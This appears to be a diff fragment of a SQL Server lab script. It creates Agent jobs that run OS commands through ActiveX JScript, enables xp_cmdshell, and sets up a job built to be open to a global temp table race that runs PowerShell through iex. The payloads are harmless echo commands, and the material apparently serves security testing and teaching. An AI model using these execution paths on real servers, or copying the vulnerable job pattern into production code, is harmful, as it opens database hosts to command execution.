EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - ActiveX JScript +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:17:16 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'function RunCmd() +{ + var objShell = new ActiveXObject("shell.application"); + objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\artifact-jscript.txt", "", "open", 0); + } + +RunCmd(); +', +/** alternative option + @command=N'function RunCmd() + { + var WshShell = new ActiveXObject("WScript.Shell"); + var oExec = WshShell.Exec("c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt"); + oExec = null; + WshShell = null; + } + + RunCmd(); + ', + +**/ + @database_name=N'JavaScript', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; + +---------------------------------------------------------------------- +-- Create Global Temp Tables +---------------------------------------------------------------------- + +-- Create global temporary table +IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL) +CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); +GO + +-- Insert records global temporary table +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO + +------------------------------------------------------------ +-- Create agent job that uses vulnerable global temp tables +------------------------------------------------------------ + +USE [msdb] +GO + +/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 9:34:10 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:34:10 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'Temp Table Race Condition', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [run tsql] Script Date: 5/9/2024 9:34:10 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'run tsql', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'TSQL', + @command=N'--------------------------------------- +-- Script: writefile_bcpxpcmdshell.sql +-- Author/Modifications: Scott Sutherland +-- Based on https://www.simple-talk.com/sql/t-sql-programming/the-tsql-of-text-files/ +-- Description: +-- Write PowerShell code to disk and run it using bcp and xp_cmdshell. +--------------------------------------- + +-- Enable xp_cmdshell +sp_configure ''show advanced options'',1 +RECONFIGURE +GO + +sp_configure ''xp_cmdshell'',1 +RECONFIGURE +GO + +-- Create variables +DECLARE @MyPowerShellCode NVARCHAR(MAX) +DECLARE @PsFileName NVARCHAR(4000) +DECLARE @TargetDirectory NVARCHAR(4000) +DECLARE @PsFilePath NVARCHAR(4000) +DECLARE @MyGlobalTempTable NVARCHAR(4000) +DECLARE @Command NVARCHAR(4000) + +-- Set filename for PowerShell script +Set @PsFileName = ''MyPowerShellScript.ps1'' + +-- Set target directory for PowerShell script to be written to +SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''') + +-- Create full output path for creating the PowerShell script +SELECT @PsFilePath = @TargetDirectory + @PsFileName +SELECT @PsFilePath as PsFilePath + +-- Define the PowerShell code +SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' + @TargetDirectory + ''intendedoutput.txt"'' +SELECT @MyPowerShellCode as PsScriptCode + +-- Create a global temp table with a unique name using dynamic SQL +SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000)) + +-- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table +SELECT @Command = '' + CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX)) + INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode) + SELECT @MyPowerShellCode'' + +-- Execute that command +EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode + +-- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1 +SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME + +-- Write the file +EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT + +-- Drop the global temp table +EXECUTE ( ''Drop table '' + @MyGlobalTempTable ) + +-- Run the PowerShell script +DECLARE @runcmdps nvarchar(4000) +SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"'' +EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT + +-- Delete the PowerShell script +DECLARE @runcmddel nvarchar(4000) +SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"'' +-- EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT', + @database_name=N'master', + @flags=0 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RunDaily-TSQL', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=4, + @freq_subday_interval=1, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'c06927ff-3307-4ca2-b17e-826e3c4942aa' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + + + + +